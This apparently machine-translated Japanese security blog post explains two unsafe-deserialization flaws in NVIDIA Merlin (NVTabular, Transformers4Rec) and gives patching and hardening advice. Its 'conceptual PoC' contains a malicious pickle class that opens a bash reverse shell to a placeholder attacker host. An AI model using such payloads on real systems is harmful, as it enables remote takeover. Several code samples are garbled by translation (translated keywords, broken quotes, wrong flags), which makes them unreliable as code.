ペンリジェント・ヘッダー

NVIDIA Merlin RCE 脆弱性 (CVE-2025-33214 & CVE-2025-33213) のディープダイブと対処法

AIインフラを取り巻く環境は、深刻なセキュリティ上の課題に直面している。 エヌビディア・マーリン高性能なレコメンダーシステムを大規模に構築するための業界標準のフレームワークであるこのフレームワークには、次の2つの重要な欠陥があることが判明している。 リモートコード実行(RCE) の脆弱性がある。

として追跡 CVE-2025-33214 そして CVE-2025-33213このような欠点は NVTabular そして トランスフォーマー4Rec ライブラリにあります。これらはPythonのデータハンドリングの根本的な弱点に起因している: 安全でないデシリアライズ (CWE-502).

攻撃者はこれらの欠陥を悪用し、システムに悪意のある設定ファイルやモデルのチェックポイントを読み込ませるだけで、GPUクラスターを侵害したり、AIモデルを汚染したり、独自のデータセットを流出させたりすることができます。この記事では、エクスプロイトのメカニズム、MLOpsパイプラインへの影響、および必須のパッチ戦略について技術的に解説します。

NVIDIA Merlin RCEの脆弱性

脆弱性マトリックス何が影響を受けるのか?

この脆弱性は、Merlinコンポーネントのデータシリアライゼーションの処理方法に影響する。 ピクルス モジュールは、ディスクからアーティファクトをロードするときに使用します。

コンポーネントCVE ID脆弱性タイプ重大性影響を受ける機能
NVTabularCVE-2025-33214安全でないデシリアライズクリティカル保存されたワークフローオブジェクトのロード ワークフロー.load()
トランスフォーマー4RecCVE-2025-33213安全でないデシリアライズクリティカルモデルのチェックポイントとトレーニング設定のロード

両脆弱性ともCVSSスコアは以下の通りである。 9.8これは、リモート(ファイルソースがリモートの場合)またはローカルで悪用可能であり、認証を必要とせず、システム全体が危険にさらされることを示している。

テクニカル・アナトミー漬け物が毒になるとき

理解するために なぜ これらのCVEは非常に危険なので、攻撃の根本的なメカニズムを分析しなければならない:パイソンの ピクルス 直列化フォーマット。

ピクルス」問題

NVIDIA Merlin RCE 脆弱性 (CVE-2025-33214 & CVE-2025-33213) のディープダイブと対処法

JSONやCSVとは異なり、データのみのフォーマットである、 ピクルス はスタックベースの仮想マシンエンジンです。単にデータを格納するだけでなく、Pythonオブジェクトをどのように再構築するかの命令を格納する。

その脆弱性は __reduce__。 メソッドを使うことができます。Pythonがオブジェクトのピックルを外すとき、そのオブジェクトが __reduce__。Python はそのメソッドが返す callable を実行します。この機能は正当なオブジェクトの再構築のために設計されていますが、攻撃者は任意のバイトコードを埋め込むことができます。

エクスプロイト・コード解析(概念的PoC)

⚠️ 免責事項:以下のコードは教育および防御テストのみを目的としています。

という文脈では NVTabular攻撃者は悪意のある ワークフロー ディレクトリを作成する。データサイエンティストや自動化されたMLOpsパイプラインがこのワークフローをロードしてETLオペレーションを実行すると、ペイロードがトリガーされる。

これが兵器化されたペイロード・ジェネレーターの姿だ:

パイソン

インポート pickle インポート os

class MaliciousArtifact(object): def 減らす(セルフ):# ペイロード:このコマンドは、デシリアライズの直後に実行される。cmd = "bash -c 'bash -i >& /dev/tcp/attacker-ip/4444 0>&1′" return (os.system, (cmd,))

毒を生成する

これは、危殆化したモデルファイルまたはワークフロー構成をシミュレートします。

exploit_data = pickle.dumps(MaliciousArtifact())

トリガー

NVTabularまたはTransformers4Recの内部では、このようなコードが実行される:

実行前にファイル内容の検証は行われない。

pickle.loads(exploit_data)`。

トランスフォーマー4Recベクター

について トランスフォーマー4Rec (CVE-2025-33213)のように、リスクはPyTorchのモデルファイル(.pt または ビン).標準的なPyTorchの保存メカニズムでは ピクルス デフォルトでは、信頼できないソース(例えば、危殆化したHugging Faceリポジトリ)からダウンロードされた事前訓練されたモデルは、トロイの木馬として機能することができます。

影響分析:妥協の代償

なぜCISOやエンジニアリング・ディレクターが気にする必要があるのか?なぜなら、Merlinパイプラインは価値の高いインフラストラクチャ上で稼働しているからです。

A.GPUクラスタ・ハイジャック(クリプトジャッキング)

MerlinはNVIDIA A100/H100 GPU用に設計されています。これらは暗号通貨マイニングのための最も切望されたリソースである。RCEにより、攻撃者はマイナーを無言でインストールすることができ、企業はクラウドのコンピュート料金で毎日数千ドルの損害を被る。

B.サプライチェーン汚染

攻撃者がNVTabular(ETLフェーズ)を介してトレーニングパイプラインを侵害すると、入力データを微妙に変更することができる。

  • 結果 モデルは隠れたバイアスやバックドアを学習する(例えば、「常にこの特定の製品を推奨する」や「このユーザーIDの不正フラグを無視する」など)。

C.横方向の動き

AIトレーニングクラスターは多くの場合、データレイク(S3、Snowflake)や内部コードリポジトリへの特権的アクセス権を持っている。侵害されたノードは、企業ネットワークに深く入り込むための完璧な橋頭堡となります。

修復戦略AIパイプラインの確保

NVIDIAはパッチをリリースしているが、真の修正には、組織がAIの成果物をどのように扱うかを変える必要がある。

フェーズ1:即時パッチ(「出血を止める」フェーズ)

現在のバージョンを確認し ピップ または コンダ.

バッシュ

# NVTabularをパッチ適用バージョンに更新する pip install -upgrade nvtabular

Transformers4Recをパッチ適用バージョンに更新する

pip install -upgrade transformers4rec`

検証する:

インストール後、バージョン番号をNVIDIAのセキュリティ情報と照らし合わせ、2025年12月以降のリリースであることを確認してください。

フェーズ2:アーキテクチャー・ハードニング(「ゼロ・トラスト」フェーズ)

1.SafeTensorsへの移行

業界はピックルから離れている。 SafeTensors は、Hugging Faceによって開発された新しいシリアライズフォーマットで、設計上安全です。テンソルを純粋にデータとして保存し、読み込み中にコードを実行することを不可能にします。

コード移行の例:

パイソン

# ❌ VULNERABLE (Legacy PyTorch/Pickle) torch.save(model.state_dict(), "モデルpt") model.load_state_dict(torch.load(")モデルpt“))

SECURE(セーフテンザ)

from safetensors.torch import save_file, load_file

save_file(model.state_dict(), "model.safetensors") load_file(model, "model.safetensors")`

2.モデルスキャンの実施

CI/CDパイプラインやモデル・レジストリにスキャナーを統合する。次のようなツールがあります。 ピクルスカン 分析できる .pkl, .ptそして ビン ファイルをロードする前に、不審なバイトコードのシグネチャを検出する。

3.ネットワーク・セグメンテーション(Egressフィルタリング)

トレーニング環境は、自由にインターネットにアクセスできるものであってはならない。

  • ブロック デフォルトではすべてのアウトバウンド・トラフィック。
  • 許可する: 特定の信頼できるドメインのみ(例:内部のPyPIミラー、特定のS3バケット)。
  • なぜだ: これにより、リバース・シェル(上記のPoCのようなもの)が攻撃者のコマンド&コントロール・サーバーに接続できないようにする。

結論

CVE-2025-33214とCVE-2025-33213の公開は、AI業界への警鐘となる。我々はもはや、モデルファイルやデータワークフローを良性の静的資産として扱うことはできない; それらは実行可能なコードである。

AIが重要なビジネス・オペレーションに深く統合されるにつれて、MLOpsパイプラインのセキュリティ確保は、ウェブ・アプリケーション自体のセキュリティ確保と同様に重要になる。

今日の行動計画

  1. 監査 走る ピップリスト すべてのトレーニングコンテナで。
  2. パッチ 最新のNVIDIA Merlinバージョンを導入してください。
  3. リファクター: PickleをSafeTensorsに置き換えるロードマップを開始する。
記事を共有する
関連記事
セキュリティ・エンジニアのためのJavaScript filter():決定論的なパイプライン、より少ない誤検出、そして「フィルターがサニタイザーである」という神話をゼロにする

セキュリティ・エンジニアのためのJavaScriptフィルタ:決定論的なパイプライン、より少ない誤検知、そして「フィルター=サニタイザー」の神話をゼロにする

セキュリティ・エンジニアのための filter()決定論的なパイプライン、より少ない誤検出、そして「フィルタ-アズ-サニタイザー」神話をゼロにする 「javascript フィルタ」で検索したなら、その確率は高い。

続きを読む